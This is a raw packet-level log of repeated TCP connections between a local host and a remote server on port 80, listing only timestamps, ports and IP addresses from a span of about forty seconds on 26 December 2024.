Dec 26, 2024 12:05:29.280738115 CET	80	49757	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.283691883 CET	49757	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.325335026 CET	80	49751	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.347136974 CET	49757	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.466691971 CET	80	49757	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.603984118 CET	49758	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.723593950 CET	80	49758	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.723668098 CET	49758	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.724036932 CET	49758	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.843827963 CET	80	49758	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:30.941838980 CET	80	49757	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:30.942042112 CET	80	49757	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:30.942167044 CET	49757	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:30.942265987 CET	49757	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.053806067 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.061855078 CET	80	49757	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.173702002 CET	80	49764	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.175725937 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.187340975 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.306891918 CET	80	49764	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.405518055 CET	80	49758	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.405670881 CET	80	49758	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.405757904 CET	49758	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.405818939 CET	49758	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.525609970 CET	80	49758	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.568572044 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.688271046 CET	80	49765	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:31.688384056 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.688479900 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:31.808142900 CET	80	49765	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:32.720691919 CET	80	49764	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:32.720771074 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:32.720841885 CET	80	49764	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:32.720871925 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:32.720897913 CET	49764	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:32.830033064 CET	49771	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:32.840388060 CET	80	49764	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:32.949770927 CET	80	49771	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:32.949865103 CET	49771	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:32.950047970 CET	49771	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.069461107 CET	80	49771	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.369787931 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.369833946 CET	49771	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.443154097 CET	80	49765	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.443212986 CET	80	49765	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.443264008 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.443435907 CET	49765	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.488325119 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.503598928 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.608055115 CET	80	49772	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.608144045 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.623171091 CET	80	49773	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.625363111 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.625411987 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.640759945 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:33.744966030 CET	80	49772	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:33.760296106 CET	80	49773	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.153724909 CET	80	49772	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.153805971 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.153815985 CET	80	49772	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.153858900 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.197727919 CET	49772	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.317442894 CET	80	49772	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.326894999 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.422909975 CET	80	49773	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.422956944 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.423022985 CET	80	49773	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.423058033 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.435978889 CET	49773	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.446733952 CET	80	49779	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.446813107 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.448354959 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.563431025 CET	80	49773	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.567877054 CET	80	49779	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.571754932 CET	49780	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.747510910 CET	80	49780	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:35.747605085 CET	49780	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.747701883 CET	49780	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:35.867146969 CET	80	49780	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:36.992274046 CET	80	49779	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:36.992305040 CET	80	49779	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:36.992352009 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:36.992384911 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:36.992384911 CET	49779	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.098368883 CET	49784	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.112237930 CET	80	49779	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.217995882 CET	80	49784	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.218089104 CET	49784	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.218184948 CET	49784	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.337791920 CET	80	49784	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.466387987 CET	80	49780	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.466527939 CET	80	49780	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.466626883 CET	49780	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.593009949 CET	49780	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:37.712507963 CET	80	49780	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:37.921926022 CET	49785	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:38.041512012 CET	80	49785	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:38.041594028 CET	49785	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:38.041841030 CET	49785	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:38.163978100 CET	80	49785	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:38.771253109 CET	80	49784	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:38.771281004 CET	80	49784	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:38.771368027 CET	49784	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:38.771449089 CET	49784	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:38.891227007 CET	80	49784	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:38.903743029 CET	49788	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.023287058 CET	80	49788	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:39.023372889 CET	49788	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.031235933 CET	49788	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.150835991 CET	80	49788	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:39.453495026 CET	49785	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.453520060 CET	49788	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.564838886 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.577627897 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.684571028 CET	80	49792	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:39.686137915 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.686311960 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.697149992 CET	80	49793	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:39.699822903 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.699892998 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:39.805860996 CET	80	49792	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:39.819463968 CET	80	49793	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.247416019 CET	80	49792	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.247519016 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.247632027 CET	80	49792	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.247689009 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.263369083 CET	49792	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.362009048 CET	80	49793	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.362060070 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.362201929 CET	80	49793	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.362253904 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.372282982 CET	49793	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.382561922 CET	49796	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.383117914 CET	80	49792	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.491827011 CET	80	49793	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.502084970 CET	80	49796	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.502240896 CET	49796	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.502629042 CET	49796	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.522064924 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.622076035 CET	80	49796	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.641649961 CET	80	49797	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:41.641721964 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.641930103 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:41.761344910 CET	80	49797	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.115217924 CET	80	49796	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.115326881 CET	80	49796	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.115413904 CET	49796	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.179828882 CET	49796	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.299298048 CET	80	49796	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.326915979 CET	80	49797	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.326972961 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.327014923 CET	80	49797	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.327058077 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.332214117 CET	49797	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.336885929 CET	49803	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.451944113 CET	80	49797	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.456820965 CET	80	49803	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.456892014 CET	49803	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.457068920 CET	49803	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.457479954 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.576512098 CET	80	49803	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.576966047 CET	80	49804	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:43.577111006 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.577195883 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:43.696723938 CET	80	49804	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:44.850924969 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:44.970669985 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:44.971715927 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:44.975020885 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.007209063 CET	80	49803	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.007371902 CET	80	49803	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.007457018 CET	49803	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.007503986 CET	49803	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094748020 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094784021 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094813108 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094835997 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094841957 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094871044 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094886065 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094897985 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094898939 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094918013 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094923973 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094935894 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094939947 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094958067 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094968081 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.094969988 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.094980001 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.095001936 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.095015049 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.110685110 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.128364086 CET	80	49803	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.214797020 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.214809895 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.214875937 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.214932919 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.214942932 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.214989901 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.215044975 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.215054989 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.215099096 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.230226994 CET	80	49809	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.230329990 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.230406046 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.257673979 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.257802010 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.263191938 CET	80	49804	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.263262033 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.263294935 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.263365984 CET	80	49804	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.263484001 CET	49804	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.350294113 CET	80	49809	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.377473116 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.377587080 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.382807970 CET	80	49804	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.391602993 CET	49811	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.417809963 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.417877913 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.511372089 CET	80	49811	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.511746883 CET	49811	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.511857986 CET	49811	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.537462950 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.539649010 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:45.631453037 CET	80	49811	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:45.701631069 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.112157106 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.794706106 CET	80	49809	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.794971943 CET	80	49809	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.795039892 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:46.795039892 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:46.795039892 CET	49809	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:46.907485962 CET	49816	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:46.914633989 CET	80	49809	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.995048046 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:46.995282888 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.027039051 CET	80	49816	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.027107000 CET	49816	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.027240038 CET	49816	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.115991116 CET	80	49808	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.116092920 CET	49808	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.146785021 CET	80	49816	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.453613997 CET	49816	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.453623056 CET	49811	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.563699961 CET	49817	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.575289011 CET	49818	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.683543921 CET	80	49817	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.683759928 CET	49817	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.683759928 CET	49817	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.695147038 CET	80	49818	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.695238113 CET	49818	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.695264101 CET	49818	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:47.803544998 CET	80	49817	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:47.815172911 CET	80	49818	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:51.576170921 CET	49817	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.576200962 CET	49818	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.689389944 CET	49829	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.700412035 CET	49830	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.809021950 CET	80	49829	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:51.809204102 CET	49829	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.809298038 CET	49829	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.820164919 CET	80	49830	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:51.820245028 CET	49830	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.820303917 CET	49830	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:51.929080963 CET	80	49829	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:51.939887047 CET	80	49830	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:55.703665972 CET	49829	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.703742027 CET	49830	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.819123983 CET	49841	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.833566904 CET	49842	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.938803911 CET	80	49841	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:55.938890934 CET	49841	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.941612005 CET	49841	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.953262091 CET	80	49842	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:55.953381062 CET	49842	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:55.953883886 CET	49842	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:56.061317921 CET	80	49841	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:56.073342085 CET	80	49842	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:59.833250046 CET	49841	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:59.833286047 CET	49842	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:59.944451094 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:59.973573923 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:00.064165115 CET	80	49850	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:00.064332008 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:00.064533949 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:00.093236923 CET	80	49851	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:00.093354940 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:00.109869957 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:00.184113026 CET	80	49850	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:00.229527950 CET	80	49851	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:02.937045097 CET	80	49850	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:02.937285900 CET	80	49850	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:02.937289953 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:02.937344074 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:02.937385082 CET	49850	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.045646906 CET	80	49851	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.045710087 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.045764923 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.045775890 CET	80	49851	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.045825005 CET	49851	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.048552036 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.059340954 CET	80	49850	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.165762901 CET	80	49851	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.168292999 CET	80	49860	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.168370962 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.168540955 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.171117067 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.287983894 CET	80	49860	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.290654898 CET	80	49861	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:03.290729046 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.293715954 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:03.413351059 CET	80	49861	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:04.727689028 CET	80	49860	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:04.727751017 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:04.727816105 CET	80	49860	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:04.727833986 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:04.727871895 CET	49860	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:04.830411911 CET	49865	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:04.847425938 CET	80	49860	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:04.950162888 CET	80	49865	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:04.950248957 CET	49865	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:04.950366974 CET	49865	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.035442114 CET	80	49861	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:05.035486937 CET	80	49861	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:05.035506010 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.035554886 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.065135002 CET	49861	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.069905043 CET	80	49865	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:05.184875965 CET	80	49861	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:05.443439960 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.563152075 CET	80	49867	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:05.563225031 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.566497087 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:05.686115026 CET	80	49867	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:06.509358883 CET	80	49865	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:06.509412050 CET	80	49865	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:06.509533882 CET	49865	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:06.509700060 CET	49865	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:06.627249956 CET	49870	80	192.168.2.5	185.81.68.147
